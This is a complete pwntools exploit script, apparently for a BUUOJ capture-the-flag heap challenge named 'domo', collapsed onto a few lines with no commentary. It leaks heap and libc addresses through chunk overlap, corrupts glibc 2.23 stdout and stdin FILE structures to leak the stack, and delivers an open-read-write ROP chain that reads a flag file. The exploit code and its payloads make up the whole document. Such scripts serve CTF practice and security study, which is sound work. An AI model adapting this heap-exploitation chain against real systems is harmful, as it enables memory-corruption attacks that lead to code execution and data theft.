1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157
|
from pwn import * import sys context.log_level = 'debug' pwn_name = "domo" arch = '64' version = '2.23' ip, port = 'node3.buuoj.cn', 29246
context(os='linux', arch='amd64') if sys.argv[1]=="l": p=process('./'+pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) else: p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF(pwn_name,checksec=False)
def get_one(): if(arch == '64'): if(version == '2.23'): one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] if (version == '2.27'): one = [0x4f2c5 , 0x4f322 , 0x10a38c] return one
def info(con,leak): success('{} => {:#x}'.format(con,leak))
def dbg(address=0): if address==0: gdb.attach(p) pause() else: if address > 0xfffff: script="b *{:#x}\nc\n".format(address) else: script="b *$rebase({:#x})\nc\n".format(address) gdb.attach(p, script)
one = get_one()
def chioce(idx): p.sendlineafter("> ",str(idx)) def add(size,data): chioce(1) p.sendlineafter("\n",str(size)) p.sendafter("\n",data)
def add2(size,data): chioce(1) p.sendlineafter(":",str(size)) p.sendafter(":",data)
def free(index): chioce(2) p.sendlineafter("\n",str(index))
def free2(index): chioce(2) p.sendlineafter(":",str(index))
def edit(index, data): chioce(4) p.sendlineafter(":",str(index)) p.sendafter(":",data)
def show(index): chioce(3) p.recvuntil('\n') p.sendline(str(index))
add(0x18, "A") add(0x18, "A") free(0) free(1) add(0x18, "\x10") show(0) heap_addr=u64 (p.recv(6).ljust(8,"\x00")) info("heap_addr",heap_addr) free (0)
add(0x100, "A"* 0x100) add(0x100, 'b'* 0x100) add(0x68, 'c' *0x68) add(0x68, 'd' *0x68) add(0x100, 'e'*56+p64(0x71)+'e'*176+ p64(0x100) +p64(0x21)) add(0x68,p64 (0x21) *2) free(2) free(3) free(0)
add(0x68,"\x11"*0x60+p64(0x300)) free(4) add(0x100,'flag'.ljust(8,'\x00')+'\x22'*0x58) show(1)
main_arena=u64(p.recv(6).ljust(8,"\x00")) libc.address=main_arena-0x3c4b78 environ_addr=libc.symbols["environ"] stdout_hook=libc.symbols["_IO_2_1_stdout_"] stdin_hook=libc.symbols["_IO_2_1_stdin_"] _IO_file_jumps=libc.symbols["_IO_file_jumps"]
payload="A"*0x100 payload += p64(0) + p64(0x71) payload+=p64(stdout_hook-0x43) add(0x118,payload) add(0x68,'a')
payload=p64(0)*5+'\x00'*3+p64(_IO_file_jumps)+p64(0xfbad1800)+p64(stdout_hook+131)*3 payload+=p64(environ_addr)+p64(environ_addr+8) print "len=",hex(len(payload))
add(0x68,payload) stack_addr=u64(p.recv(6).ljust(8,'\x00'))-0xf2 info("stack_addr",stack_addr)
add2(0xf8,p64(0)*11+p64(0x71)) free2(0) free2(4) add2(0x68,p64(0)+p64(0x111)) free2(7) add2(0x108,p64(0)*11+p64(0x71)+p64(stdin_hook-0x28)) add2(0x68,'flag')
pop_rdi_ret=libc.search(asm("pop rdi\nret")).next() pop_rsi_ret=libc.search(asm("pop rsi\nret")).next() pop_rdx_ret=libc.search(asm("pop rdx\nret")).next()
open_addr=libc.symbols["open"] read_addr=libc.symbols["read"] puts_addr=libc.symbols["write"]
orw=p64(pop_rdi_ret)+p64(heap_addr+0x50)+p64(pop_rsi_ret)+p64(72)+p64(open_addr) orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heap_addr+0x12a8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)
payload=p64(0)+p64(libc.symbols["_IO_file_jumps"])+p64(0)+ p64(0xfbad1800)+p64(0)*6+p64(stack_addr)+p64(stack_addr+0x100)
info("heap_addr",heap_addr) info("stack_addr",stack_addr)
edit(stdin_hook-0x20,'\x7f') add2(0x68,payload)
p.sendlineafter("> ","5\n"+orw) p.interactive()
|